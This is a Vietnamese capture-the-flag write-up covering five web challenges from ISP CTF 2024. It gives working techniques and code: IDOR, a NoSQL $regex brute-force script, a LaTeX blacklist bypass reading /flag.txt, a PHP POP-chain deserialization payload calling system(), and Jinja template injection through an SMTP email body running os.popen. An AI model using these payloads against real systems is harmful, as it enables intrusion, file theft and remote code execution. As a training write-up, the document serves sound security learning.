---
# System prepended metadata

title: ISP CTF 2024

---

# ISP CTF 2024

## Web challenges
![image-1](https://hackmd.io/_uploads/rkxW0O0Aa.png)
May mắn là team mình clear được hết các bài web

### WARMUP


![image-2](https://hackmd.io/_uploads/HyL9mt0C6.png)

Đầu tiên cần đăng ký cho mình một tài khoản

Tiếp theo là tạo thử 1 post xem sao
![image-3](https://hackmd.io/_uploads/ByXjmFRC6.png)
![image-4](https://hackmd.io/_uploads/HJUoXKRCa.png)

Có vẻ như phàn `content` dính **XSS**
Còn thêm có nút `Report to admin` nữa nên ban đầu mình đã đi theo hướng steal cookie
Sau một hồi làm không được thì mình nhìn lại đề, `Flag nằm ở post của admin` và nhìn lên url thì thấy khả năng cao là dính **IDOR**

url: `http://159.223.41.73:8087/posts/view/admin`
![image-6](https://hackmd.io/_uploads/B1Cj7FRAT.png)

Flag: ~~**ISPCTF{131593365355344022914563712420631936324}**~~


### WEB1
![image](https://hackmd.io/_uploads/SkjkEFCC6.png)
Đề có cho source, vô ngó thử

Trong file `init_users.js` có đoạn
```js=
db.users.insert({
  username: "AlienAdmin",
  password: "fakepassword",
  admin: true,
  session: FLAG,
});
```
flag nằm trong `session` của **AlienAdmin**

Mình có login với 1 account bất kì trong file `init_users.js`
![image-1](https://hackmd.io/_uploads/BJdg4Y0R6.png)

Nhưng khi reload lại trang thì
![image-2](https://hackmd.io/_uploads/ryje4KARp.png)

Có vẻ như đây sẽ là dấu hiệu nhận biết được là login thành công hay thất bại

Sau khi login xong nó sẽ set luôn cookie
![image-3](https://hackmd.io/_uploads/rJQW4KR0a.png)


Để ý thì có đoạn code
```js=
router.get('/', (req, res) => {
	var session = res.cookies.get("session");
	if (session) {
		session = JSON.parse(session);

		var token = session.token
		return User.find({
			session: token
		}).then((user) => {
			if (user.length == 1) {
				return res.render('dashboard');
			}

			return res.render('index');
		})
		.catch((e) => {
			res.json({ message: 'Hm server errored'});
		});
	}
	return res.render('index');
});
```
Nó sẽ tiến hành parse json từ cookie và lấy token đi tìm trong database

Tổng hợp lại như sau:
- flag nằm trong session của **admin**
- web sử dụng mongodb để truy vấn session

Vậy khả năng cao nó dính `Nosql injection`
Phải kiếm tra mới biết được

Mình lấy 2 ký tự đầu tiên trong session **zbkWxcyqRMVuWGnYhzjTfinPe5bYht** của thằng `jumpyWidgeon1` và dùng `$regex` để kiểm tra xem session có bắt đầu bằng **zb** không
![image-4](https://hackmd.io/_uploads/SkvQEtRRT.png)
Ú là la

Vì flag có dạng `ISPCTF{}` nên mình sẽ tiến hành brute force session của **admin** luôn
script:
```py=
import requests
import string

# chars = string.ascii_letters + '_`0123456789~!@#%^&()_:"<>,./;|\\*'
chars = "0123456789{}"

url = "http://159.223.41.73:8088/"

leaked_flag = list("ISPCTF{")

while True:
	if "}" in leaked_flag:
	    break
	for char in chars:
		print(f"trying {''.join(leaked_flag) + char}")
		cookie = {
			"session":'{"token":{"$regex":"^%s"},"username":"obsessedCaviar2"}' % ("".join(leaked_flag) + char)
		}
		res = requests.get(url, cookies=cookie)
		if (len(res.text) == 390):
			leaked_flag.append(char)
			break
```
Vì flag toàn số nên mình sẽ chỉ brute force số thôi

![image-6](https://hackmd.io/_uploads/SyrM4tACp.png)

Không hiểu sao đến `ISPCTF{419923525501421656985029160590849617999` thì không thể brute tiếp được nữa, nhớ lại thì bài **WARMUP** bên trong flag chỉ có 39 số nên mình mạnh dạng submit luôn (Đúng luôn nhé ^^)

Flag: ~~**ISPCTF{419923525501421656985029160590849617999}**~~



### WEB2
![image](https://hackmd.io/_uploads/r1fUVKCCT.png)
![image-1](https://hackmd.io/_uploads/SyEU4K0Aa.png)

```go
blacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein",
    "usepackage", "fileline", "verbatiminput", "url", "href", "text", "write",
    "newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics",
    "openout", "newcommand", "expandafter", "csname", "endcsname", "^^"}
```
Bài này filter 99% payload có mặt trên thị trường

Để ý thì trừ thằng `\input` ra thì các thằng khác không có dấu `\`
Mà syntax của Latex thì phải có `\` đằng trước

Ý tưởng là mình sẽ dùng `\input{/flag.txt}`, để dùng được thì cần phải tách `\` và `input`
Mình thấy có `\catcode` đổi ký tự thành mã phân loại
![image-2](https://hackmd.io/_uploads/SyKdEYRRp.png)

Vậy `\` = ```\catcode`\!=0```

Ta được payload như sau:
```latex
\documentclass[12pt]{article}
\begin{document}
\catcode`\!=0
!input{/flag.txt}
\end{document}
```
![image-4](https://hackmd.io/_uploads/BJJtVYACp.png)


Flag: ~~**ISPCTF{269164474955720048503108942079437084926}**~~


### WEB3
![image-1](https://hackmd.io/_uploads/S1bnNFCCa.png)
Bài có cho source, vô ngó tí

Để ý trong file `index.php` có
```php
if (isset($_COOKIE['cookie'])) {
    $cookie = base64_decode($_COOKIE['cookie']);
    unserialize($cookie);
}
```
Vậy khả năng cao nó liên quan đến dạng bài **Insecure Deserialization**
Trong folder `src` có 3 folder nhỏ là `GadgetOne`, `GadgetTwo`, `GadgetThree`
Rồi xong, vậy nó là dạng **PHP Pop Chain**
Mình chưa làm dạng này lần nào, vừa research vừa làm nên hơi lâu

source của từng file như sau:
```php=
<?php

namespace GadgetOne {
    class Adders
    {
        private $x;
        function __construct($x)
        {
            $this->x = $x;
        }
        function get_x()
        {
            return $this->x;
        }
    }
}
```
```php=
<?php

namespace GadgetTwo {
    class Echoers
    {
        protected $klass;
        function __destruct()
        {
            echo $this->klass->get_x();
        }
    }
}
```
```php=
<?php

namespace GadgetThree {
    class Vuln
    {
        public $waf1;
        protected $waf2;
        private $waf3;
        public $cmd;
        function __toString()
        {
            if (!($this->waf1 === 1)) {
                die("not x");
            }
            if (!($this->waf2 === "\xde\xad\xbe\xef")) {
                die("not y");
            }
            if (!($this->waf3) === false) {
                die("not z");
            }
            eval($this->cmd);
        }
    }
}
```
Nhiệm vụ của mình là làm cho hàm `eval` thực thi là thành công
Để `eval` thực thi được thì `__toString()` phải được gọi
Và hiển nhiên để gọi `__toString()` thì cần phải được gọi như 1 chuỗi bởi `echo`, `print()`,...
Vậy tóm lại là mình phải `echo` thằng `Vuln()`

Để ý trong class `Echoers` có hàm `echo` và gọi đến hàm `get_x()` của class `Adders`

Ý tưởng của mình là cho chạy dòng code `echo Vuln()` thì `$this->klass->get_x()` phải là `Vuln()`
Để `$this->klass->get_x()` là `Vuln()` thì `get_x()` phải return về `Vuln()`

Mình sẽ tạo script như sau:
```php
<?php
namespace GadgetThree {
    class Vuln
    {
        public $waf1 = 1;
        public $waf2 = "\xde\xad\xbe\xef";
        public $waf3 = false;
        public $cmd = "system('cat /flag.txt');";
    }
}

namespace GadgetOne {
    class Adders
    {
        public $x;
        function __construct($x)
        {
            $this->x = $x;
        }
    }
}

namespace GadgetTwo {
    class Echoers
    {
        public $klass;
        function __construct($klass)
        {
            $this->klass = $klass;
        }   
    }
}

namespace {
    $vuln = new GadgetThree\Vuln();
    $adders = new GadgetOne\Adders($vuln);
    $echoers = new GadgetTwo\Echoers($adders);

    echo $payload = base64_encode(serialize($echoers));
}
```
payload: `TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6NToia2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MToieCI7TzoxNjoiR2FkZ2V0VGhyZWVcVnVsbiI6NDp7czo0OiJ3YWYxIjtpOjE7czo0OiJ3YWYyIjtzOjQ6It6tvu8iO3M6NDoid2FmMyI7YjowO3M6MzoiY21kIjtzOjI0OiJzeXN0ZW0oJ2NhdCAvZmxhZy50eHQnKTsiO319fQ==`

![image-2](https://hackmd.io/_uploads/ryepEtRRT.png)
Flag: ~~**ISPCTF{176538487084431558107684726698761072032}**~~


### WEB4
![image](https://hackmd.io/_uploads/SyB9IFAAp.png)
![image-1](https://hackmd.io/_uploads/BJDc8t0Ca.png)


Lúc đầu nhìn source khá là bối rối, mình đoán nó dính **SSTI** nhưng không tìm thấy chỗ để inject

Thấy import thư viện khá lạ nên mình research thì biết được rằng web dùng giao thức SMTP (Simple Mail Transfer Protocol)
Vậy khả năng cao là mình phải gửi mail qua giao thức này

Mình có tìm được script để gửi mail:
```py=
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Thông tin SMTP Server
smtp_server = '157.245.192.100'
smtp_port = 8025

# Thông tin người gửi và người nhận
from_email = 'sender@example.com'
to_email = 'aqoyvprapnfe@f8308503a903'

# Tạo message
message = MIMEMultipart()
message['From'] = from_email
message['To'] = to_email
message['Subject'] = "Just test email"

# Nội dung email
body = 'This is a test email sent from Python.'
message.attach(MIMEText(body, 'plain'))

# Gửi email
try:
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.sendmail(from_email, to_email, message.as_string())
    print('Email sent successfully!')
    server.quit()
except Exception as e:
    print(f'Error: {e}')
```

![image-2](https://hackmd.io/_uploads/BkOsUKAC6.png)
Ú là la, giờ chỉ cần tìm chõ để inject là được

Sau một hồi mò thì để ý có dòng
```py
m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
```

```py
def esc(s: str):
    return "{% raw %}" + s + "{% endraw %}"
```

`esc(envelope.content.decode())` tức là nội dung của email sẽ đi qua hàm `esc()` và tất nhiên nội dung email có thể kiểm soát
Cặp `{% raw %} {% endraw %}` dùng để định nghĩa nội dung bên trong không được xử lý template tức là `{{7*7}}` vẫn là `{{7*7}}`
Ý tưởng của mình là sẽ thoát khỏi cặp `{% raw %} {% endraw %}` giống cách của **XSS**

`message['Subject'] = "{% endraw %}{{ 7*7 }}{% raw %}"`
![image-3](https://hackmd.io/_uploads/By9dPYR06.png)
Ú là la, giờ đi đọc flag thôi

``message['Subject'] = "{% endraw %}{{ cycler.__init__.__globals__.os.popen('cat flag*').read() }}{% raw %}"``
![image-4](https://hackmd.io/_uploads/HyJFPKCAp.png)

Flag: ~~**ISPCTF{176451926244603487426850511571301978365}**~~